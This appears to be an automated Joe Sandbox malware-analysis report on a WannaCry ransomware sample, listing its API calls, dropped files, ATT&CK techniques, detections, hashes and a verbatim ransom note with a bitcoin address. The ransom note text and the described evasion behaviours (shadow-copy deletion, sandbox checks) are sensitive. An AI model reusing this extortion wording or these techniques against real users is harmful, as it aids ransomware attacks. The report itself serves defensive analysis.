            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10002300 CloseHandle,SHGetFolderPathW,??2@YAPAXI@Z,??_U@YAPAXI@Z,swprintf,FindFirstFileW,??3@YAXPAX@Z,??3@YAXPAX@Z,wcscmp,wcscmp,wcscmp,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcscmp,wcscmp,wcscmp,wcsncpy,wcsncpy,wcsncpy,FindNextFileW,FindClose,_wcsnicmp,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,0_2_10002300
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10004A40 CloseHandle,SHGetFolderPathW,wcslen,SHGetFolderPathW,SHGetFolderPathW,wcslen,wcsrchr,wcschr,SHGetFolderPathW,wcslen,wcsrchr,swprintf,FindFirstFileW,wcscmp,wcscmp,swprintf,wcscmp,swprintf,FindNextFileW,FindClose,0_2_10004A40
            Source: C:\Users\user\Desktop\WannaCry_2.EXEThread delayed: delay time: 30000
            Source: C:\Users\user\Desktop\WannaCry_2.EXEThread delayed: delay time: 30000
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\GenuineTicket\~SD7337.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\~SDFE2E.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\~SD7324.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\Archive\Apps\~SD7336.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\ClipSVC\Archive\~SD7325.tmpJump to behavior
            Source: C:\Users\user\Desktop\WannaCry_2.EXEFile opened: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\~SD7323.tmpJump to behavior
            Source: SIHClient.exe, 00000043.00000003.1278535097.00000212F2D69000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000043.00000003.1276329176.00000212F2D5D000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000043.00000003.1655940115.00000212F2D69000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000043.00000003.1276978536.00000212F2D69000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW9[
            Source: cscript.exe, 0000000A.00000003.1145214173.0000000003497000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
            Source: cscript.exe, 0000000A.00000003.1145214173.0000000003497000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
            Source: SIHClient.exe, 00000043.00000003.1276329176.00000212F2D5D000.00000004.00000020.00020000.00000000.sdmp, SIHClient.exe, 00000043.00000003.1276626478.00000212F2D0B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
            Source: @WanaDecryptor@.exe, 000000CA.00000002.2384105544.000000000046F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_100011D0 wcsrchr,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,GetLastError,GlobalAlloc,GetTokenInformation,LoadLibraryA,GetProcAddress,wcscpy,GlobalFree,0_2_100011D0
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_10001360 time,AllocateAndInitializeSid,time,CheckTokenMembership,FreeSid,0_2_10001360
            Source: C:\Windows\SysWOW64\cscript.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Users\user\Desktop\WannaCry_2.EXECode function: 0_2_100053F0 GetUserNameW,_wcsicmp,0_2_100053F0
            Source: C:\Users\user\Desktop\WannaCry_2.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
            Source: C:\Users\user\Desktop\taskdl.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
            Source: C:\Users\user\Desktop\taskdl.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity Information12
            Scripting            		Valid Accounts3
            Windows Management Instrumentation            		12
            Scripting            		11
            Process Injection            		21
            Masquerading            		OS Credential Dumping221
            Security Software Discovery            		Remote Services11
            Archive Collected Data            		2
            Encrypted Channel            		Exfiltration Over Other Network Medium21
            Data Encrypted for Impact
            CredentialsDomainsDefault Accounts3
            Native API            		1
            Registry Run Keys / Startup Folder            		1
            Registry Run Keys / Startup Folder            		21
            Virtualization/Sandbox Evasion            		LSASS Memory21
            Virtualization/Sandbox Evasion            		Remote Desktop ProtocolData from Removable Media1
            Proxy            		Exfiltration Over Bluetooth1
            Defacement
            Email AddressesDNS ServerDomain AccountsAt1
            Services File Permissions Weakness            		1
            Services File Permissions Weakness            		11
            Process Injection            		Security Account Manager1
            Application Window Discovery            		SMB/Windows Admin SharesData from Network Shared DriveSteganographyAutomated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCron1
            DLL Side-Loading            		1
            DLL Side-Loading            		1
            Hidden Files and Directories            		NTDS1
            Account Discovery            		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
            Obfuscated Files or Information            		LSA Secrets1
            System Owner/User Discovery            		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
            Services File Permissions Weakness            		Cached Domain Credentials1
            Remote System Discovery            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
            DLL Side-Loading            		DCSync3
            File and Directory Discovery            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
            File Deletion            		Proc Filesystem33
            System Information Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 signatures2 2 Behavior Graph ID: 1486528 Sample: WannaCry_2.EXE Startdate: 02/08/2024 Architecture: WINDOWS Score: 100 41 Malicious sample detected (through community Yara rule) 2->41 43 Antivirus detection for dropped file 2->43 45 Antivirus / Scanner detection for submitted sample 2->45 47 6 other signatures 2->47 7 WannaCry_2.EXE 2 1001 2->7         started        11 @WanaDecryptor@.exe 2->11         started        process3 file4 31 C:\Users\user\Downloads\@WanaDecryptor@.exe, PE32 7->31 dropped 33 C:\Users\user\Documents\...behaviorgraphIGIYTFFYT.jpg, COM 7->33 dropped 35 C:\Users\user\Documents\...FOYFBOLXA.pdf, DOS 7->35 dropped 37 242 other malicious files 7->37 dropped 49 Detected Wannacry Ransomware 7->49 51 Creates files in the recycle bin to hide itself 7->51 53 Drops PE files to the document folder of the user 7->53 61 5 other signatures 7->61 13 cmd.exe 7->13         started        17 taskdl.exe 7->17         started        19 attrib.exe 7->19         started        21 188 other processes 7->21 55 Multi AV Scanner detection for dropped file 11->55 57 Found Tor onion address 11->57 59 Deletes shadow drive data (may be related to ransomware) 11->59 signatures5 process6 file7 39 C:\Users\user\Desktop\m.vbs, ASCII 13->39 dropped 63 Command shell drops VBS files 13->63 23 conhost.exe 13->23         started        25 cscript.exe 13->25         started        65 Multi AV Scanner detection for dropped file 17->65 27 conhost.exe 19->27         started        29 conhost.exe 21->29         started        signatures8 process9

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            WannaCry_2.EXE92%ReversingLabsWin32.Ransomware.WannaCry
            WannaCry_2.EXE95%VirustotalBrowse
            WannaCry_2.EXE100%AviraTR/Ransom.JB
            WannaCry_2.EXE100%Joe Sandbox ML

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\@WanaDecryptor@.exe100%AviraTR/FileCoder.724645
            C:\@WanaDecryptor@.exe100%Joe Sandbox ML
            C:\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
            C:\@WanaDecryptor@.exe91%VirustotalBrowse
            C:\Users\user\AppData\Local\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
            C:\Users\user\AppData\Local\@WanaDecryptor@.exe91%VirustotalBrowse
            C:\Users\user\Desktop\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
            C:\Users\user\Desktop\@WanaDecryptor@.exe91%VirustotalBrowse
            C:\Users\user\Desktop\taskdl.exe96%ReversingLabsWin32.Ransomware.WannaCry
            C:\Users\user\Desktop\taskdl.exe88%VirustotalBrowse
            C:\Users\user\Desktop\taskse.exe89%ReversingLabsWin32.Ransomware.WannaCry
            C:\Users\user\Desktop\taskse.exe91%VirustotalBrowse
            C:\Users\user\Desktop\u.wnry97%ReversingLabsWin32.Ransomware.WannaCry
            C:\Users\user\Desktop\u.wnry91%VirustotalBrowse
            C:\Users\user\Documents\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
            C:\Users\user\Documents\@WanaDecryptor@.exe91%VirustotalBrowse
            C:\Users\user\Downloads\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
            C:\Users\user\Downloads\@WanaDecryptor@.exe91%VirustotalBrowse

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            ⊘No Antivirus matches

            Domains and IPs

            Contacted Domains

            ⊘No contacted domains info

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashxsvchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpfalse
              https://dev.ditu.live.com/REST/v1/Routes/svchost.exe, 00000047.00000003.1366699932.000001DB1BE67000.00000004.00000020.00020000.00000000.sdmpfalse
                https://dev.virtualearth.net/REST/v1/Routes/Drivingsvchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpfalse
                  https://t0.ssl.ak.dynamic.tiles.virtuhsvchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmpfalse
                    https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashxsvchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpfalse
                      https://dev.ditu.live.com/REST/v1/Transit/Stops/svchost.exe, 00000047.00000003.1366457653.000001DB1BE86000.00000004.00000020.00020000.00000000.sdmpfalse
                        https://dev.virtualearth.net/REST/v1/Routes/svchost.exe, 00000047.00000002.1367979156.000001DB1BE2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1366699932.000001DB1BE67000.00000004.00000020.00020000.00000000.sdmpfalse
                          https://dev.virtualearth.net/REST/v1/Traffic/Incidents/svchost.exe, 00000047.00000003.1366770859.000001DB1BE62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368145142.000001DB1BE3F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368380250.000001DB1BE65000.00000004.00000020.00020000.00000000.sdmpfalse
                            https://t0.sssvchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368020361.000001DB1BE36000.00000004.00000020.00020000.00000000.sdmpfalse
                              https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs(_svchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmpfalse
                                https://t0.ssl.ak.dynamic.tiles.virtuasvchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmpfalse
                                  https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpfalse
                                    https://dev.virtualearth.net/REST/v1/Routes/Walkingsvchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpfalse
                                      https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpfalse
                                        https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?svchost.exe, 00000047.00000003.1366770859.000001DB1BE62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpfalse
                                          http://crl.microsoft.cPSIHClient.exe, 00000043.00000003.1653352890.00000212F3779000.00000004.00000020.00020000.00000000.sdmpfalse
                                            https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpfalse
                                              https://ecn.dev.virtualearth.net/REST/V1/MapControlConfiguration/native/svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpfalse
                                                https://dev.virtualearth.net/REST/v1/Locationssvchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368352141.000001DB1BE59000.00000004.00000020.00020000.00000000.sdmpfalse
                                                    https://dev.virtualearth.net/mapcontrol/logging.ashxsvchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      https://dev.ditu.live.com/mapcontrol/logging.ashxsvchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        https://dev.ditu.live.com/REST/v1/Imagery/Copyright/svchost.exe, 00000047.00000003.1366770859.000001DB1BE62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1367043880.000001DB1BE5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368380250.000001DB1BE65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368532706.000001DB1BE81000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=svchost.exe, 00000047.00000002.1367979156.000001DB1BE2B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            https://t0.ssl.ak.dynsvchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              http://www.btcfrog.com/qr/bitcoinPNG.php?address=%sWannaCry_2.EXE, 00000000.00000003.1411691066.0000000000A63000.00000004.00000020.00020000.00000000.sdmp, WannaCry_2.EXE, 00000000.00000003.1140110778.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 000000CA.00000000.1527615654.000000000041F000.00000008.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 000000CA.00000002.2383911467.0000000000421000.00000004.00000001.01000000.00000009.sdmptrue
                                                                https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  http://www.btcfrog.com/qr/bitcoinPNG.php?address=13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94@WanaDecryptor@.exe, 000000CA.00000002.2386689246.0000000000BF0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    https://dev.virtualearth.net/REST/v1/Transit/Schedules/svchost.exe, 00000047.00000002.1368188268.000001DB1BE44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      https://t0.sZsvchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        https://dynamic.tsvchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          https://www.google.com/search?q=how@WanaDecryptor@.exe, 000000CA.00000002.2386689246.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 000000CA.00000000.1527615654.000000000041F000.00000008.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 000000CA.00000002.2383911467.0000000000421000.00000004.00000001.01000000.00000009.sdmptrue
                                                                            http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=howWannaCry_2.EXE, 00000000.00000003.1411691066.0000000000A63000.00000004.00000020.00020000.00000000.sdmp, WannaCry_2.EXE, 00000000.00000003.1140110778.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 000000CA.00000000.1527615654.000000000041F000.00000008.00000001.01000000.00000009.sdmp, @WanaDecryptor@.exe, 000000CA.00000002.2383911467.0000000000421000.00000004.00000001.01000000.00000009.sdmptrue
                                                                              https://dev.virtualearth.net/REST/v1/Routes/Transitsvchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                https://t0.ssl.ak.tiles.virtualearth.net/tiles/gensvchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  https://t0.ssl.ak.dynamicsvchost.exe, 00000047.00000003.1367198337.000001DB1BE32000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368352141.000001DB1BE59000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=svchost.exe, 00000047.00000003.1366770859.000001DB1BE62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        http://www.bingmapsportal.comsvchost.exe, 00000047.00000002.1367874845.000001DB1BE13000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          https://dev.ditu.live.com/REST/v1/Locationssvchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            https://dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 00000047.00000003.1366770859.000001DB1BE62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000002.1368145142.000001DB1BE3F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1367043880.000001DB1BE5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1366925556.000001DB1BE58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip@WanaDecryptor@.exe, 000000CA.00000002.2383330775.000000000019B000.00000004.00000010.00020000.00000000.sdmptrue
                                                                                                https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 00000047.00000002.1367979156.000001DB1BE2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000047.00000003.1366699932.000001DB1BE67000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/svchost.exe, 00000047.00000002.1368532706.000001DB1BE81000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=svchost.exe, 00000047.00000003.1367113384.000001DB1BE41000.00000004.00000020.00020000.00000000.sdmpfalse

                                                                                                      World Map of Contacted IPs

                                                                                                      ⊘No contacted IP infos

                                                                                                      General Information

                                                                                                      Joe Sandbox version:40.0.0 Tourmaline
                                                                                                      Analysis ID:1486528
                                                                                                      Start date and time:2024-08-02 09:27:57 +02:00
                                                                                                      Joe Sandbox product:CloudBasic
                                                                                                      Overall analysis duration:0h 15m 24s
                                                                                                      Hypervisor based Inspection enabled:false
                                                                                                      Report type:full
                                                                                                      Cookbook file name:defaultwindowsinteractivecookbook.jbs
                                                                                                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                      Number of analysed new started processes analysed:204
                                                                                                      Number of new started drivers analysed:0
                                                                                                      Number of existing processes analysed:0
                                                                                                      Number of existing drivers analysed:0
                                                                                                      Number of injected processes analysed:0
                                                                                                      Technologies:
                                                                                                      • HCA enabled
                                                                                                      • EGA enabled
                                                                                                      • AMSI enabled
                                                                                                      Analysis Mode:default
                                                                                                      Analysis stop reason:Timeout
                                                                                                      Sample name:WannaCry_2.EXE
                                                                                                      Detection:MAL
                                                                                                      Classification:mal100.rans.evad.winEXE@903/948@0/0
                                                                                                      EGA Information:
                                                                                                      • Successful, ratio: 100%
                                                                                                      HCA Information:
                                                                                                      • Successful, ratio: 100%
                                                                                                      • Number of executed functions: 49
                                                                                                      • Number of non-executed functions: 26
                                                                                                      Cookbook Comments:
                                                                                                      • Found application associated with file extension: .EXE

                                                                                                      Warnings

                                                                                                      • Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
                                                                                                      • Exclude process from analysis (whitelisted): dllhost.exe, MoUsoCoreWorker.exe, svchost.exe
                                                                                                      • Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.85.23.206, 13.85.23.86, 52.165.164.15
                                                                                                      • Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, fs.microsoft.com, slscr.update.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, ctldl.windowsupdate.com, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
                                                                                                      • Not all processes where analyzed, report is missing behavior information
                                                                                                      • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                      • Report size getting too big, too many NtCreateFile calls found.
                                                                                                      • Report size getting too big, too many NtCreateKey calls found.
                                                                                                      • Report size getting too big, too many NtOpenFile calls found.
                                                                                                      • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                      • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                      • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                      • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                      • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                      • Report size getting too big, too many NtSetValueKey calls found.
                                                                                                      • Report size getting too big, too many NtWriteFile calls found.
                                                                                                      • Report size getting too big, too many NtWriteVirtualMemory calls found.

                                                                                                      Simulations

                                                                                                      Behavior and APIs

                                                                                                      TimeTypeDescription
                                                                                                      03:28:23API Interceptor1x Sleep call for process: dllhost.exe modified
                                                                                                      03:28:24API Interceptor5346384x Sleep call for process: WannaCry_2.EXE modified
                                                                                                      03:28:38API Interceptor2x Sleep call for process: SIHClient.exe modified
                                                                                                      03:29:04API Interceptor1x Sleep call for process: @WanaDecryptor@.exe modified

                                                                                                      Joe Sandbox View / Context

                                                                                                      IPs

                                                                                                      ⊘No context

                                                                                                      Domains

                                                                                                      ⊘No context

                                                                                                      ASNs

                                                                                                      ⊘No context

                                                                                                      JA3 Fingerprints

                                                                                                      ⊘No context

                                                                                                      Dropped Files

                                                                                                      ⊘No context

                                                                                                      Created / dropped Files

                                                                                                      C:\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Yara Hits:
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                      • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\@WanaDecryptor@.exe

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                      Category:dropped
                                                                                                      Size (bytes):245760
                                                                                                      Entropy (8bit):6.278920408390635
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
